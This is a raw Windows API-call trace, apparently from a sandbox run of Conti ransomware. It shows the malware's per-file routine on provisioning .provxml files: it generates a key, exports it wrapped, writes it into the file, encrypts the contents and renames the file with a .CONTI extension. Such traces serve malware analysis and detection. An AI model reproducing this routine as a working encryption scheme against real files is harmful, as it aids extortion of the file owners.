	[0108.570] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\200__connections_cellular_asiacell (iraq)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\200__connections_cellular_asiacell (iraq)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.571] GetProcessHeap () returned 0x1720000
	[0108.571] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.571] CryptDestroyKey (hKey=0x17c7c70) returned 1
	[0108.571] GetProcessHeap () returned 0x1720000
	[0108.571] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588a98 | out: hHeap=0x1720000) returned 1
	[0108.571] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0108.971] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6514518 | out: phKey=0x6514518*=0x17c7830) returned 1
	[0108.971] CryptExportKey (in: hKey=0x17c7830, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x651451c, pdwDataLen=0x4bffe94 | out: pbData=0x651451c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0108.971] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\218__connections_cellular_claro (jamaica)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.172] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\218__connections_cellular_claro (jamaica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0110.172] GetLastError () returned 0x0
	[0110.172] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=787) returned 1
	[0110.172] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x313
	[0110.172] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.172] SetEndOfFile (hFile=0x408) returned 1
	[0110.444] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.444] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.445] WriteFile (in: hFile=0x408, lpBuffer=0x651451c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x651451c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.458] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.458] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x313, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x313, lpOverlapped=0x0) returned 1
	[0110.458] CryptEncrypt (in: hKey=0x17c7830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x313, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x320) returned 1
	[0110.458] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.458] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x320, lpOverlapped=0x0) returned 1
	[0110.458] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.458] WriteFile (in: hFile=0x408, lpBuffer=0x6514510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6514510*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0110.458] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.458] CloseHandle (hObject=0x408) returned 1
	[0110.458] GetProcessHeap () returned 0x1720000
	[0110.458] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.952] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml"
	[0110.952] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.952] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\218__connections_cellular_claro (jamaica)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\218__connections_cellular_claro (jamaica)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.953] GetProcessHeap () returned 0x1720000
	[0110.953] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.953] CryptDestroyKey (hKey=0x17c7830) returned 1
	[0110.953] GetProcessHeap () returned 0x1720000
	[0110.953] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65899f8 | out: hHeap=0x1720000) returned 1
	[0110.953] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0110.953] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x656f608 | out: phKey=0x656f608*=0x17c7830) returned 1
	[0110.953] CryptExportKey (in: hKey=0x17c7830, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x656f60c, pdwDataLen=0x4bffe94 | out: pbData=0x656f60c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0110.954] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\377__connections_cellular_mobilna telefonija srbije rs (serbia (republic of))_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.954] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\377__connections_cellular_mobilna telefonija srbije rs (serbia (republic of))_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0110.954] GetLastError () returned 0x0
	[0110.954] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=743) returned 1
	[0110.954] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e7
	[0110.954] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.954] SetEndOfFile (hFile=0x3fc) returned 1
	[0110.954] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.954] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.954] WriteFile (in: hFile=0x3fc, lpBuffer=0x656f60c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x656f60c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.281] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.281] ReadFile (in: hFile=0x3fc, lpBuffer=0xda50000, nNumberOfBytesToRead=0x2e7, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x2e7, lpOverlapped=0x0) returned 1
	[0111.281] CryptEncrypt (in: hKey=0x17c7830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2e7, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2f0) returned 1
	[0111.281] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.281] WriteFile (in: hFile=0x3fc, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x2f0, lpOverlapped=0x0) returned 1
	[0111.281] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.282] WriteFile (in: hFile=0x3fc, lpBuffer=0x656f600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x656f600*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0111.301] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.301] CloseHandle (hObject=0x3fc) returned 1
	[0111.360] GetProcessHeap () returned 0x1720000
	[0111.360] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.483] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml"
	[0112.483] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.484] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\377__connections_cellular_mobilna telefonija srbije rs (serbia (republic of))_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\377__connections_cellular_mobilna telefonija srbije rs (serbia (republic of))_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.484] GetProcessHeap () returned 0x1720000
	[0112.484] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.484] CryptDestroyKey (hKey=0x17c7830) returned 1
	[0112.484] GetProcessHeap () returned 0x1720000
	[0112.484] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65722a0 | out: hHeap=0x1720000) returned 1
	[0112.485] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0112.485] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65ae9b8 | out: phKey=0x65ae9b8*=0x17c7830) returned 1
	[0112.485] CryptExportKey (in: hKey=0x17c7830, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65ae9bc, pdwDataLen=0x4bffe94 | out: pbData=0x65ae9bc*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0112.485] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\545__connections_cellular_orange (côte d’ivoire)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.498] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\545__connections_cellular_orange (côte d’ivoire)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0112.499] GetLastError () returned 0x0
	[0112.499] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=851) returned 1
	[0112.499] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x353
	[0112.499] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.499] SetEndOfFile (hFile=0x418) returned 1
	[0112.499] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.499] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.499] WriteFile (in: hFile=0x418, lpBuffer=0x65ae9bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65ae9bc*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.505] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.505] ReadFile (in: hFile=0x418, lpBuffer=0xda50000, nNumberOfBytesToRead=0x353, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x353, lpOverlapped=0x0) returned 1
	[0112.505] CryptEncrypt (in: hKey=0x17c7830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x353, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x360) returned 1
	[0112.505] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.505] WriteFile (in: hFile=0x418, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x360, lpOverlapped=0x0) returned 1
	[0112.506] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.506] WriteFile (in: hFile=0x418, lpBuffer=0x65ae9b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65ae9b0*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0112.506] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.506] CloseHandle (hObject=0x418) returned 1
	[0112.506] GetProcessHeap () returned 0x1720000
	[0112.506] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.506] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml"
	[0112.506] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.506] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\545__connections_cellular_orange (côte d’ivoire)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\545__connections_cellular_orange (côte d’ivoire)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.507] GetProcessHeap () returned 0x1720000
	[0112.507] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.507] CryptDestroyKey (hKey=0x17c7830) returned 1
	[0112.507] GetProcessHeap () returned 0x1720000
	[0112.507] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180be88 | out: hHeap=0x1720000) returned 1
	[0112.507] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0112.507] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65b02d0 | out: phKey=0x65b02d0*=0x17c7bb0) returned 1
	[0112.507] CryptExportKey (in: hKey=0x17c7bb0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b02d4, pdwDataLen=0x4bffe94 | out: pbData=0x65b02d4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0112.508] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\549__connections_cellular_orange (kenya)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.508] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\549__connections_cellular_orange (kenya)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0112.508] GetLastError () returned 0x0
	[0112.508] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=718) returned 1
	[0112.508] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ce
	[0112.508] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.508] SetEndOfFile (hFile=0x418) returned 1
	[0112.508] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.508] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.508] WriteFile (in: hFile=0x418, lpBuffer=0x65b02d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65b02d4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.515] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
